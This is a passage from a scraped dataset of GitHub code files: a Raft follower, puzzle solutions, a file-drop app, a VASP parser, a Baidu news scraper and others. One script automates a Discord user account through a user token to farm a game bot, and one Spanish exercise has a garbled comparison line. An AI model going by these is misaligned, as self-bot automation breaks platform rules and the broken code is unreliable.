{\"log_index_start\": log_index_start,\n \"log_index_end\": log_index_end,\n \"send_from\": list(self.raft_peer_state.my_addr_port_tuple),\n \"send_to\": list(self.send_from),\n \"sender_term\": self.raft_peer_state.current_term,\n \"append_entries_result\": True,\n \"msg_type\": \"append_entries_follower_reply\"}\n\n # meet heartbeat append entries\n if len(self.new_entries) != 0:\n\n log_index_start = self.new_entries[0][\"log_index\"]\n log_index_end = self.new_entries[-1][\"log_index\"]\n\n\n # #reply false if this.follower's term > leader's term\n if self.raft_peer_state.current_term > self.leader_term:\n result[\"append_entries_result\"] = False\n return result\n\n #reply false if this.follower's does not have this prev_index, and term does not match\n #so even the follower has more log we only check the prev_index one?\n\n\n\n #leader's prev log term does not match with follower's last entry's term\n if self.prev_log_index != -1:\n # prevent peer restart get into this if and get false back\n if (len(self.raft_peer_state.state_log) - 1) < self.prev_log_index:\n result[\"append_entries_result\"] = False\n return result\n\n if (self.raft_peer_state.state_log[self.prev_log_index].log_term != self.prev_log_term):\n result[\"append_entries_result\"] = False\n return result\n\n if len(self.new_entries) == 0:\n self.process_commit_index(self.leader_commit_index)\n return result\n\n result[\"log_index_start\"] = log_index_start\n result[\"log_index_end\"] = log_index_end\n\n result[\"append_entries_result\"] = True\n\n # self.raft_peer_state.current_term = self.leader_term\n\n self.add_in_new_entries()\n\n # self.raft_peer_state.commit_index = self.leader_commit_index\n\n self.process_commit_index(self.leader_commit_index)\n\n\n return result\n\n def add_in_new_entries(self):\n prev_log_index = self.prev_log_index\n for one_new_log in self.new_entries:\n one_new_log_data = LogData(one_new_log[\"log_index\"],\n one_new_log[\"log_term\"],\n one_new_log[\"request_command_action_list\"])\n #if follower is not longer than leader\n if prev_log_index == (len(self.raft_peer_state.state_log) - 1):\n self.raft_peer_state.state_log.append(one_new_log_data)\n prev_log_index += 1\n #if follower id longer, it can be shorter bc of above filter\n else:\n self.raft_peer_state.state_log[prev_log_index + 1] = one_new_log_data\n # self.raft_peer_state.state_log = self.raft_peer_state.state_log[0:prev_log_index + 2]\n prev_log_index += 1\n\n def process_commit_index(self, commit_index):\n if (commit_index == -1):\n return\n # [include: exclude]\n for one_log_data in self.raft_peer_state.state_log[0:commit_index+1]:\n if one_log_data.log_applied == False:\n self.json_message_commit_queue.put(one_log_data)\n # self.raft_peer_state.remote_var.perform_action(one_log_data.request_command_action_list)\n # one_log_data.log_applied = True\n # self.raft_peer_state.last_apply = commit_index\n # self.commit_index = commit_index\n\n def __str__(self):\n return str(vars(self))\n\n\n\n\n\n\n\n","repo_name":"Dawindmill/Raft-In-Python","sub_path":"raft_peers/AppendEntriesFollower.py","file_name":"AppendEntriesFollower.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34575437709","text":"from string import ascii_lowercase\nfrom time import sleep\nunits = ['', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\ntens = ['ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen']\ndecades = ['twenty', 'thirty', 'fourty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety']\n\ndef translator(n):\n if n<10:\n return units[n-1]\n elif n>=10 and n<20:\n return tens[n%len(tens)]\n elif n>=20 and n<100:\n return decades[(n//10)%len(decades)] + units[(n-1)%10]\n else:\n return units[n//100] + \"hundredand\" + translator(n%100)\n\ncont = 0\nfor i in range(1, 1000):\n sleep(0.1)\n print(translator(i))\n cont += len(translator(i))\nprint(cont)","repo_name":"dolefeast/ProjectEuler","sub_path":"problem17.py","file_name":"problem17.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69837988034","text":"from collections import deque\nR , C , N = map(int,input().split())\nmap = []\nN-= 1\nfor i in range(R):\n S = input()\n list = []\n for j in range(C):\n if(S[j] == '.'):\n list.append(0)\n else:\n list.append(2)\n map.append(list)\ndr = [1,-1,0,0]\ndc = [0,0,1,-1]\njob = 0\n\nque = deque()\nfor t in range(N):\n if(job == 0):\n for i in range(R):\n for j in range(C):\n if(map[i][j] == 0):\n map[i][j] = 3\n else :\n map[i][j] -= 1\n job = 1\n else :\n for i in range(R):\n for j in range(C):\n if(map[i][j] != 0):\n map[i][j] -=1\n if(map[i][j] == 0):\n que.append([i,j])\n while(que):\n list = que.popleft()\n for i in range(4):\n row = list[0] + dr[i]\n col = list[1] + dc[i]\n if(row <0 or col <0 or row>= R or col >= C):\n continue\n map[row][col] = 0\n job = 0\n\nresult = ''\nfor i in range(R):\n for j in range(C):\n if(map[i][j] == 0):\n result += '.'\n else :\n result += 'O'\n result+='\\n'\nprint(result)","repo_name":"lovelyunsh/AlgoJava","sub_path":"python/백준/silver/S1_16918봄버맨.py","file_name":"S1_16918봄버맨.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"494014779","text":"sacos_cemento=int(input(\"Numero de sacos de cemento:\"))\nsacos_yeso=int(input(\"Numero de sacos de yeso:\"))\nmaximo=3254\npeso_cemento_kg=sacos_cemento*40\npeso_yeso_kg=sacos_yeso*30\npeso_total=peso_cemento_kg+peso_yeso_kg\ncomparador1=peso_totalmaximo/2\nenvio=comparador1 and comparador2\nprint(\"El peso total en kilogramos es: \",peso_total)\nprint(\"El envio se puede ejecutar: \",envio)\n\nif envio==True:\n print(\"El envio se puede ejecutar sin problemas\")\nelse:\n print(\"Lamentablemente el envio no se puede llevar a cabo\")\n ","repo_name":"Jairo-Gamez/Emtech","sub_path":"Ejercicio retador #3.py","file_name":"Ejercicio retador #3.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23545092831","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 18 23:30:41 2017\n\n@author: lin\n\"\"\"\nfrom __future__ import print_function, division\nimport numpy as np\n\nT = int(raw_input()) # read a line with a single integer\nfor case in xrange(1, T + 1):\n pancakes, flippersize = raw_input().split(\" \")\n flippersize = int(flippersize)\n pancakes = np.array([int(pancake == '+')*2-1 for pancake in pancakes])\n N = len(pancakes)\n countflips = 0\n maxflips = N - flippersize + 1\n for i in xrange(maxflips):\n if pancakes[i] == -1:\n countflips += 1\n pancakes[i:i+flippersize] = pancakes[i:i+flippersize]*-1\n sum_pancakes = np.sum(pancakes)\n \n if sum_pancakes == N:\n flips = countflips\n else:\n flips = 'IMPOSSIBLE'\n print(\"Case #{0}: {1}\".format(case, flips))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2991.py","file_name":"2991.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70258051394","text":"#### modified by ghz, 2019,10,26 16:58\r\ndef Read_OUTCAR():\r\n with open('OUTCAR','r') as outcar:\r\n outcar_content = outcar.readlines()\r\n kx = []; ky = []; kz = []\r\n k1 = []; k2 = []; k3 = []\r\n flag = 'N'\r\n for line in outcar_content[257:]:\r\n if 'k-points in units of 2pi/SCALE and weight:' in line:\r\n flag = 'Y'\r\n continue\r\n if 'k-points in reciprocal lattice and weights:' in line:\r\n flag = 'H'\r\n continue\r\n if 'position of ions in fractional coordinates' in line:\r\n flag = 'I'\r\n if flag == 'Y':\r\n if line == ' \\n':\r\n continue\r\n kx.append(float(line.split()[0]))\r\n ky.append(float(line.split()[1]))\r\n kz.append(float(line.split()[2]))\r\n if flag == 'H':\r\n if line == ' \\n':\r\n continue\r\n k1.append(float(line.split()[0]))\r\n k2.append(float(line.split()[1]))\r\n k3.append(float(line.split()[2]))\r\n if 'E-fermi' in line:\r\n E_fermi = float(line.split()[2])\r\n break\r\n return kx,ky,kz,k1,k2,k3,E_fermi\r\n\r\ndef Read_EIGENVAL():\r\n with open('EIGENVAL','r') as eig:\r\n eig_content = eig.readlines()\r\n system = eig_content[4].strip('\\n').strip()[0]\r\n totalkpoint = eig_content[5].split()[1]\r\n totalband = eig_content[5].split()[2]\r\n return eig_content,system,totalband,totalkpoint\r\n \r\ndef SelectBand(eig_content,totalband,band):\r\n ek = []\r\n for i in range(6,len(eig_content)):\r\n if (i-7)%(int(totalband)+2) == band:\r\n ek.append(eig_content[i].split()[1])\r\n return ek\r\n\r\ndef Write_dat(kx,ky,kz,k1,k2,k3,Ek,band_index,kgrid1,E_fermi):\r\n Ek_len = len(Ek)\r\n with open('band_plane.dat','w') as f1:\r\n f1.write('#{0:>13} {1:>14} {2:>14} {3:>12} {4:>12} {5:>12}'.format('kx','ky','kz','k1','k2','k3'))\r\n for i in band_index:\r\n f1.write(' {:>14}'.format('E_'+ str(i)))\r\n f1.write('\\n')\r\n for i in range(len(kx)):\r\n f1.write('{0:>14} {1:>14} {2:>14} {3:>12} {4:>12} {5:>12}'.format(kx[i],ky[i],kz[i],k1[i],k2[i],k3[i]))\r\n for each in range(Ek_len):\r\n f1.write(' {:>14}'.format(Ek[each][i]))\r\n f1.write('\\n')\r\n if (i+1)%kgrid1 == 0:\r\n f1.write('\\n')\r\n with open('band_plane.gnu','w') as f2:\r\n f2.write('set encoding iso_8859_1\\n')\r\n f2.write('#set terminal postscript enhanced color\\n')\r\n f2.write(\"#set output 'bulkek_plane.eps'\\n\")\r\n f2.write('set terminal png truecolor enhanced size 1920, 1680 font \",36\"\\n')\r\n f2.write(\"set output 'band_plane.png'\\n\")\r\n f2.write('set palette rgbformulae 33,13,10\\n')\r\n f2.write('unset key\\n')\r\n f2.write('set pm3d\\n')\r\n f2.write('set origin 0.2, 0\\n')\r\n f2.write('set size 0.8, 1\\n')\r\n f2.write('set border lw 3\\n')\r\n f2.write('#set xtics font \",24\"\\n')\r\n f2.write('#set ytics font \",24\"\\n')\r\n f2.write('set size ratio -1\\n')\r\n f2.write('set xtics\\n')\r\n f2.write('set ytics\\n')\r\n f2.write('set zrange [:]\\n')\r\n f2.write('set view 80,60\\n')\r\n f2.write('set xlabel \"k_1\"\\n')\r\n f2.write('set ylabel \"k_2\"\\n')\r\n f2.write('set zlabel \"Energy (eV)\" rotate by 90\\n')\r\n f2.write('unset colorbox\\n')\r\n f2.write('set autoscale fix\\n')\r\n f2.write('set pm3d interpolate 4,4\\n')\r\n f2.write(\"splot 'band_plane.dat' u 1:2:($8-{}) w pm3d, \\\\\\n\".format(E_fermi))\r\n f2.write(\" 'band_plane.dat' u 1:2:($9-{}) w pm3d\\n\".format(E_fermi))\r\n \r\n\r\ndef main():\r\n kx,ky,kz,k1,k2,k3,E_fermi = Read_OUTCAR()\r\n eig_content,system,totalband,totalkpoint = Read_EIGENVAL()\r\n try:\r\n kgrid = eval(input('请输入二维 k 网格(例如:100,120):'))\r\n kgrid1 = kgrid[0]\r\n except:\r\n print('请正确输入网格!!!!')\r\n exit()\r\n print('该体系({0:})有 {1:}个k点,{2:}条能带.'.format(system,totalkpoint,totalband))\r\n\r\n band_range = eval(input('请输入绘制哪几条能带(例如:10,13): '))\r\n band_min = band_range[0]\r\n band_max = band_range[1]\r\n band_index = [i for i in range(band_min,band_max + 1)]\r\n Ek = [] ## total ek\r\n for band in range(band_min,band_max + 1):\r\n print('正在绘制第{}条能带'.format(band))\r\n ek = SelectBand(eig_content,totalband,band)\r\n Ek.append(ek)\r\n Write_dat(kx,ky,kz,k1,k2,k3,Ek,band_index,kgrid1,E_fermi)\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"ghzphy/PROCAR","sub_path":"bulk_plane_plot.py","file_name":"bulk_plane_plot.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7622495815","text":"from pocketutils.plotting.color_schemes import FancyCmaps\n\nfrom sauronlab.core.core_imports import *\nfrom sauronlab.viz import CakeComponent\nfrom sauronlab.viz._internal_viz import *\n\n\n@abcd.auto_eq()\n@abcd.auto_repr_str()\nclass ImportancePlotter(CakeComponent, KvrcPlotting):\n \"\"\"\n Plots weight (often importance) across a time-series,\n either as a thin heatmap with no y axis (a sequence of vertical lines),\n or as a scatter plot.\n\n \"\"\"\n\n def __init__(\n self,\n scatter: bool = False,\n cmap: Union[str, Colormap] = FancyCmaps.white_black(bad=\"#333333\"),\n vmax_quantile: Optional[float] = 0.95,\n ):\n \"\"\"\n\n Args:\n scatter:\n cmap:\n vmax_quantile:\n\n \"\"\"\n self._scatter, self._cmap = scatter, cmap\n self._vmax_quantile = vmax_quantile\n\n def plot(\n self,\n weights: np.array,\n ax: Axes = None,\n vmin: Optional[float] = None,\n vmax: Optional[float] = None,\n ) -> Figure:\n \"\"\"\n\n\n Args:\n weights:\n ax:\n vmin:\n vmax:\n\n Returns:\n\n \"\"\"\n if vmin is None:\n vmin = np.quantile(weights, 1 - self._vmax_quantile)\n if vmax is None:\n vmax = np.quantile(weights, self._vmax_quantile)\n if ax is None:\n figure = plt.figure(figsize=(sauronlab_rc.trace_width, sauronlab_rc.trace_layer_height))\n ax = figure.add_subplot(111)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_yticklabels([])\n ax.set_ylabel(\"weight\")\n if self._scatter:\n if isinstance(weights, tuple):\n ax.scatter(\n weights[0], weights[1], c=sauronlab_rc.weight_scatter_color, rasterized=False\n )\n else:\n ax.scatter(\n np.arange(0, len(weights)),\n weights,\n c=sauronlab_rc.weight_scatter_color,\n rasterized=False,\n )\n ax.set_ylim(vmin, vmax)\n else:\n ax.imshow(\n np.atleast_2d(weights),\n cmap=self._cmap,\n aspect=\"auto\",\n vmin=vmin,\n vmax=vmax,\n rasterized=sauronlab_rc.rasterize_traces,\n )\n return ax.get_figure()\n\n\n__all__ = [\"ImportancePlotter\"]\n","repo_name":"chelsell/sauron-legacy","sub_path":"sauronlab/sauronlab/viz/importance_plots.py","file_name":"importance_plots.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24055245958","text":"#!/usr/bin/env python\nimport os\nimport gi\nimport threading\nimport tkinter\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom PIL import ImageTk\n\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk, GLib, GdkPixbuf, Gdk\n\nfrom config import get_config\nfrom server import run_server\nfrom qrlink import get_qr_code, get_interfaces\n\nCSS_DATA = b\"\"\"\n#qr {\n border-radius: 16px;\n}\n\"\"\"\n\ndef pixbuf_from_pil(image):\n image = image.convert('RGB')\n data = GLib.Bytes.new(image.tobytes())\n pixbuf = GdkPixbuf.Pixbuf.new_from_bytes(data,\n GdkPixbuf.Colorspace.RGB,\n False,\n 8,\n image.width,\n image.height,\n 3 * image.width)\n return pixbuf.copy()\n\n\nclass DropApp():\n def __init__(self):\n self.root = tkinter.Tk()\n self.root.geometry('400x600')\n self.root.title('Phone Drop')\n self.root.config(background='white')\n self.icon = tkinter.Image(\"photo\", file=os.path.join(os.path.dirname(__file__),\"static/icon.png\"))\n self.root.tk.call('wm', 'iconphoto', self.root._w, self.icon)\n self.canvas = tkinter.Canvas(self.root,\n width=400,\n height=400,\n bg='white',\n bd=0,\n highlightthickness=0,\n relief='ridge')\n self.canvas.pack()\n self.image = ImageTk.PhotoImage(get_qr_code(ip=get_interfaces()[0][1]))\n self.imagesprite = self.canvas.create_image(200, 200, image=self.image)\n self.iflabel = ttk.Label(self.root,\n text=\"Select network interface\",\n background='white',\n padding=(0,0,0,10))\n self.ifvar = tkinter.StringVar()\n self.ifvar.set(\"%s: %s\" % get_interfaces()[0])\n self.iflabel.pack()\n self.ifselect = tkinter.OptionMenu(self.root,\n self.ifvar,\n *[\"%s: %s\" % i for i in get_interfaces()],\n command=self.handle_if_select)\n self.ifselect.pack()\n\n self.path = ttk.Label(self.root,\n text=\"Dropping to %s\" % get_config().UPLOAD_FOLDER,\n background='white',\n padding=(0,30,0,10))\n self.path.pack()\n self.B = tkinter.Button(self.root,\n text=\"Select drop dir\",\n command=self.set_upload_dir,\n highlightthickness=0)\n self.B.pack()\n\n def run(self):\n self.root.mainloop()\n\n def set_upload_dir(self):\n upload_dir = filedialog.askdirectory(initialdir=get_config().UPLOAD_FOLDER)\n if upload_dir:\n get_config().set_drop_dir(upload_dir)\n self.path.config(text=\"Dropping to %s\" % get_config().UPLOAD_FOLDER)\n\n def handle_if_select(self, value):\n self.image = ImageTk.PhotoImage(get_qr_code(ip=value.split(\": \")[1]))\n self.imagesprite = self.canvas.create_image(200, 200, image=self.image)\n\n\nclass DropAppGtk3(Gtk.Window):\n def __init__(self):\n super().__init__()\n self.set_resizable(False)\n self.set_default_size(400, 600)\n\n hb = Gtk.HeaderBar()\n hb.set_show_close_button(True)\n hb.props.title = \"Drop\"\n hb.props.subtitle = \"Dropping to %s\" % get_config().UPLOAD_FOLDER\n self.set_titlebar(hb)\n\n destination_button = Gtk.FileChooserButton(title=\"Select destination\", action=Gtk.FileChooserAction.SELECT_FOLDER)\n destination_button.set_current_folder(get_config().UPLOAD_FOLDER)\n hb.pack_start(destination_button)\n\n\n self.image = Gtk.Image()\n self.image.set_name('qr')\n self.add(self.image)\n pixbuf = pixbuf_from_pil(get_qr_code(ip=get_interfaces()[0][1]))\n self.image.set_from_pixbuf(pixbuf)\n\n\n def run(self):\n css_provider = Gtk.CssProvider()\n css_provider.load_from_data(CSS_DATA)\n context = Gtk.StyleContext()\n screen = Gdk.Screen.get_default()\n context.add_provider_for_screen(screen, css_provider,\n Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)\n self.connect(\"destroy\", Gtk.main_quit)\n self.show_all()\n Gtk.main()\n\n\nif __name__ == \"__main__\":\n if os.getenv('DEV') == 'true':\n run_server(debug=True)\n else:\n t = threading.Thread(target=run_server, daemon=True)\n t.start()\n print(\"running...\")\n dropapp = DropAppGtk3()\n dropapp.run()\n\n print(\"exiting...\")\n\n\n","repo_name":"lbrabec/drop","sub_path":"drop.py","file_name":"drop.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73918883713","text":"\"\"\"\nThe navigation instructions (your puzzle input) consists of a sequence of single-character actions paired with integer input values. After staring at them for a few minutes, you work out what they probably mean:\n\n Action N means to move north by the given value.\n Action S means to move south by the given value.\n Action E means to move east by the given value.\n Action W means to move west by the given value.\n Action L means to turn left the given number of degrees.\n Action R means to turn right the given number of degrees.\n Action F means to move forward by the given value in the direction the ship is currently facing.\n\nFigure out where the navigation instructions lead. What is the Manhattan distance between that location and the ship's starting position?\n\"\"\"\nfrom collections import namedtuple\nfrom enum import Enum, auto\n\nclass Heading(Enum):\n NORTH = 0\n EAST = 1\n SOUTH = 2\n WEST = 3\n\nPosition = namedtuple('Position', ['x', 'y'])\n\nclass InstructionType(Enum):\n NORTH = auto()\n EAST = auto()\n SOUTH = auto()\n WEST = auto()\n LEFT = auto()\n RIGHT = auto()\n FORWARD = auto()\n\nclass InputParser:\n INPUT_KEY = {\n 'N': InstructionType.NORTH,\n 'E': InstructionType.EAST,\n 'S': InstructionType.SOUTH,\n 'W': InstructionType.WEST,\n 'L': InstructionType.LEFT,\n 'R': InstructionType.RIGHT,\n 'F': InstructionType.FORWARD,\n }\n\n @classmethod\n def input_to_instruction_type(cls, input_char):\n return cls.INPUT_KEY[input_char]\n\nclass Instruction:\n def __init__(self, type_, num_units):\n self.type = type_\n self.num_units = num_units\n\n @classmethod\n def from_input_line(cls, input_line):\n instr_char, num_units = input_line[0], int(input_line[1:])\n type_ = InputParser.input_to_instruction_type(instr_char)\n return cls(type_=type_, num_units=num_units)\n\n def __str__(self):\n return \"\".format(self.type, self.num_units)\n\n\nclass Ship:\n def __init__(self, heading):\n self.heading = heading\n self.position = Position(x=0, y=0)\n\n def __str__(self):\n return \"\".format(self.position, self.heading)\n\n def run_instructions(self, instructions):\n for instr in instructions:\n self.update(instr)\n\n def move_north(self, num_units):\n self.position = self.position._replace(y=self.position.y - num_units)\n\n def move_east(self, num_units):\n self.position = self.position._replace(x=self.position.x + num_units)\n\n def move_south(self, num_units):\n self.position = self.position._replace(y=self.position.y + num_units)\n\n def move_west(self, num_units):\n self.position = self.position._replace(x=self.position.x - num_units)\n\n def rotate_left(self, num_units):\n rotation_units = int(num_units / 90)\n self.heading = Heading((self.heading.value - rotation_units) % len(Heading))\n\n def rotate_right(self, num_units):\n rotation_units = int(num_units / 90)\n self.heading = Heading((self.heading.value + rotation_units) % len(Heading))\n\n def move_by_heading(self, num_units):\n if self.heading == Heading.NORTH:\n self.move_north(num_units)\n elif self.heading == Heading.EAST:\n self.move_east(num_units)\n elif self.heading == Heading.SOUTH:\n self.move_south(num_units)\n elif self.heading == Heading.WEST:\n self.move_west(num_units)\n\n def update(self, instruction):\n if instruction.type == InstructionType.NORTH:\n self.move_north(instruction.num_units)\n elif instruction.type == InstructionType.EAST:\n self.move_east(instruction.num_units)\n elif instruction.type == InstructionType.SOUTH:\n self.move_south(instruction.num_units)\n elif instruction.type == InstructionType.WEST:\n self.move_west(instruction.num_units)\n elif instruction.type == InstructionType.FORWARD:\n self.move_by_heading(instruction.num_units)\n elif instruction.type == InstructionType.LEFT:\n self.rotate_left(instruction.num_units)\n elif instruction.type == InstructionType.RIGHT:\n self.rotate_right(instruction.num_units)\n\n def manhattan_distance_from_origin(self):\n return abs(self.position.x) + abs(self.position.y)\n\ndef process_instructions(lines):\n ship = Ship(heading=Heading.EAST)\n instructions = [Instruction.from_input_line(line) for line in lines]\n ship.run_instructions(instructions)\n return ship.manhattan_distance_from_origin()\n\n\"\"\"\n\nAction N means to move the waypoint north by the given value.\nAction S means to move the waypoint south by the given value.\nAction E means to move the waypoint east by the given value.\nAction W means to move the waypoint west by the given value.\nAction L means to rotate the waypoint around the ship left (counter-clockwise) the given number of degrees.\nAction R means to rotate the waypoint around the ship right (clockwise) the given number of degrees.\nAction F means to move forward to the waypoint a number of times equal to the given value.\n\nThe waypoint starts 10 units east and 1 unit north relative to the ship. The waypoint is relative to the ship; that is, if the ship moves, the waypoint moves with it.\n\nFigure out where the navigation instructions actually lead. What is the Manhattan distance between that location and the ship's starting position?\n\"\"\"\n\nclass MovableObject:\n def __init__(self, position):\n self.position = position\n\n def move_north(self, num_units):\n self.position = self.position._replace(y=self.position.y + num_units)\n\n def move_east(self, num_units):\n self.position = self.position._replace(x=self.position.x + num_units)\n\n def move_south(self, num_units):\n self.position = self.position._replace(y=self.position.y - num_units)\n\n def move_west(self, num_units):\n self.position = self.position._replace(x=self.position.x - num_units)\n\n def update_position(self, x, y):\n self.position = self.position._replace(x=x, y=y)\n\n\nclass Waypoint(MovableObject):\n def __str__(self):\n return \"waypoint={}\".format(self.position)\n\n def rotate_right(self, num_units):\n rotation_units = int(num_units / 90)\n if rotation_units == 1:\n new_pos_x = self.position.y\n new_pos_y = -self.position.x\n elif rotation_units == 2:\n new_pos_x = -self.position.x\n new_pos_y = -self.position.y\n elif rotation_units == 3:\n new_pos_x = -self.position.y\n new_pos_y = self.position.x\n\n self.update_position(x=new_pos_x, y=new_pos_y)\n\n def rotate_left(self, num_units):\n self.rotate_right(abs(num_units - 360))\n\n\nclass Ship2(MovableObject):\n def __init__(self, position, waypoint_origin):\n super().__init__(position=position)\n self.waypoint = Waypoint(position=waypoint_origin)\n\n def __str__(self):\n return \"\".format(self.position, self.waypoint)\n\n def run_instructions(self, instructions):\n for instr in instructions:\n self.update(instr)\n\n def move_to_waypoint(self, num_units):\n new_pos_x = self.position.x + self.waypoint.position.x * num_units\n new_pos_y = self.position.y + self.waypoint.position.y * num_units\n self.update_position(x=new_pos_x, y=new_pos_y)\n\n def update(self, instruction):\n if instruction.type == InstructionType.NORTH:\n self.waypoint.move_north(instruction.num_units)\n elif instruction.type == InstructionType.EAST:\n self.waypoint.move_east(instruction.num_units)\n elif instruction.type == InstructionType.SOUTH:\n self.waypoint.move_south(instruction.num_units)\n elif instruction.type == InstructionType.WEST:\n self.waypoint.move_west(instruction.num_units)\n elif instruction.type == InstructionType.FORWARD:\n self.move_to_waypoint(instruction.num_units)\n elif instruction.type == InstructionType.LEFT:\n self.waypoint.rotate_left(instruction.num_units)\n elif instruction.type == InstructionType.RIGHT:\n self.waypoint.rotate_right(instruction.num_units)\n\n def manhattan_distance_from_origin(self):\n return abs(self.position.x) + abs(self.position.y)\n\n\ndef process_instructions_2(lines):\n origin = Position(x=0, y=0)\n waypoint_origin = Position(x=10, y=1)\n ship = Ship2(position=origin, waypoint_origin=waypoint_origin)\n\n instructions = [Instruction.from_input_line(line) for line in lines]\n ship.run_instructions(instructions)\n return ship.manhattan_distance_from_origin()\n\ndef main():\n with open('day12.txt') as f:\n lines = [line.strip() for line in f.readlines()]\n\n result = process_instructions(lines)\n print(result)\n\n result = process_instructions_2(lines)\n print(result)\n\nif __name__ == '__main__':\n main()\n","repo_name":"DiscreteObject/adventofcode2020","sub_path":"day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":9067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14360165719","text":"# Pokemon Fishing Automation \n\nimport requests\nimport json\nimport schedule\nfrom schedule import every, repeat, run_pending\nimport time\n\n\n#Global variables to edit\n#Found using the web browser developer tool.\nrequest_url = \"\"\nheader = { 'Authorization' : ''\n }\n\n\n# Sends POST message to channel to cast reel\ndef cast_reel():\n cast = {'content' : \"+c\"}\n r = requests.post(request_url, data = cast, headers = header)\n\n \n#Sends POST message to channel to reel in catch\ndef reel_in():\n reel = {'content': \"+r\"}\n s = requests.post(request_url, data = reel, headers = header)\n \n \n# Retrieves GET message from parabot to reel in catch or wait. repeat every 2 minutes\ndef get_message():\n L = []\n loot_message = \"@Pepe Parker! Something's caught on the hook!\"\n poke_message = \"Oh! @Pepe Parker! A bite!\"\n no_nibble_message = \"@Pepe Parker, try a different route. There's not even a nibble..\"\n BIG_FISH = \"@Pepe Parker, something massive is on the line! It's putting up a fight.. Get ready to reel!\"\n #BIG_FISH_2 = \"\"\n \n req = requests.get(request_url, headers = header)\n jsonn = json.loads(req.text)\n \n \n for m_dict in jsonn:\n L.append(m_dict['content'])\n # Appends first n-1 messages in the list. \n L = L[:101]\n\n for message in L:\n if message == loot_message:\n reel_in()\n \n elif message == poke_message:\n reel_in()\n \n elif message == no_nibble_message:\n cast_reel()\n \n elif message == BIG_FISH:\n #DO SOME CODE HERE\n pass\n else:\n pass\n \n \ndef schedule_message():\n cast_reel()\n schedule.every(30).minutes.do(cast_reel)\n schedule.every(4).minutes.do(get_message) # change this to 4 minutes on average\n \n while True:\n schedule.run_pending()\n time.sleep(10) \n\nschedule_message()\n \n","repo_name":"jdelva2/Discord_Poke_Fish","sub_path":"poke_fish_script.py","file_name":"poke_fish_script.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11288479052","text":"import re\n\nfrom django.shortcuts import render\nfrom apps.nasdaq.models import NasdaqGraph\nfrom elasticsearch import Elasticsearch\n# 引入JsonResponse模块\nfrom django.http import JsonResponse\n# 导入json模块\nimport json\nfrom lxml.html import etree\nimport requests\n# 导入Q查询\nfrom django.db.models import Q\n\n# Create your views here.\n\nclient = Elasticsearch(hosts=[\"127.0.0.1\"])\n\ndef getEntityNews(entity):\n url = 'https://www.baidu.com/s?rtt=1&bsst=1&cl=2&tn=news&ie=utf-8&word={}'.format(entity)\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/86.0.4240.75 Safari/537.36'}\n\n\n response = requests.get(url=url, headers=headers)\n page_text = response.text\n tree = etree.HTML(page_text)\n\n newsListELement = tree.xpath('//div[@id=\"content_left\"]/div[contains(@class, \"result-op\")]')\n newsUrlList = newsListELement[0].xpath('//h3[@class=\"news-title_1YtI1 \"]/a/@href')\n titleList = newsListELement[0].xpath('//h3[@class=\"news-title_1YtI1 \"]/a/@aria-label')\n newsList = []\n for i in range(0, 10):\n temp=[]\n temp.append(titleList[i].replace(\"标题:\", \"\").replace('}', \"\"))\n temp.append(newsUrlList[i])\n newsList.append(temp)\n # print(newsList)\n return newsList\n\ndef node_depth(depth, nodes):\n entityNode = []\n depth=int(depth)\n depth += 1\n deep = 0\n num=0\n idmap=[]\n while depth:\n S = \"level\" + str(deep)\n level = nodes[S]\n for row in level:\n idmap.append(row[0])\n # print(row[1])\n temp = {\"name\": row[1], \"category\": deep, \"id\": num}\n entityNode.append(temp)\n num += 1\n deep += 1\n depth -= 1\n # print(entityNode)\n return entityNode,idmap\n\n\ndef link_depth(depth, nodes,idmap,key_word):\n entityLink = []\n porpertyNode = []\n temp = {\"name\": str(key_word), \"category\": 0, \"id\": 0}\n porpertyNode.append(temp)\n helpList=[]\n depth=int(depth)\n deep = 1\n num = 1\n while depth:\n S = \"level\" + str(deep)\n level = nodes[S]\n for row in level:\n source=idmap.index(row[0])\n target = idmap.index(row[2])\n temp = {\"source\": source, \"target\": target, \"category\": 0, \"value\": row[1], \"symbolSize\": 10}\n entityLink.append(temp)\n if row[1] not in helpList:\n temp2 = {\"name\": row[1], \"category\": 1, \"id\": num}\n num += 1\n helpList.append(row[1])\n porpertyNode.append(temp2)\n deep += 1\n depth -= 1\n return entityLink, porpertyNode\n\n\ndef 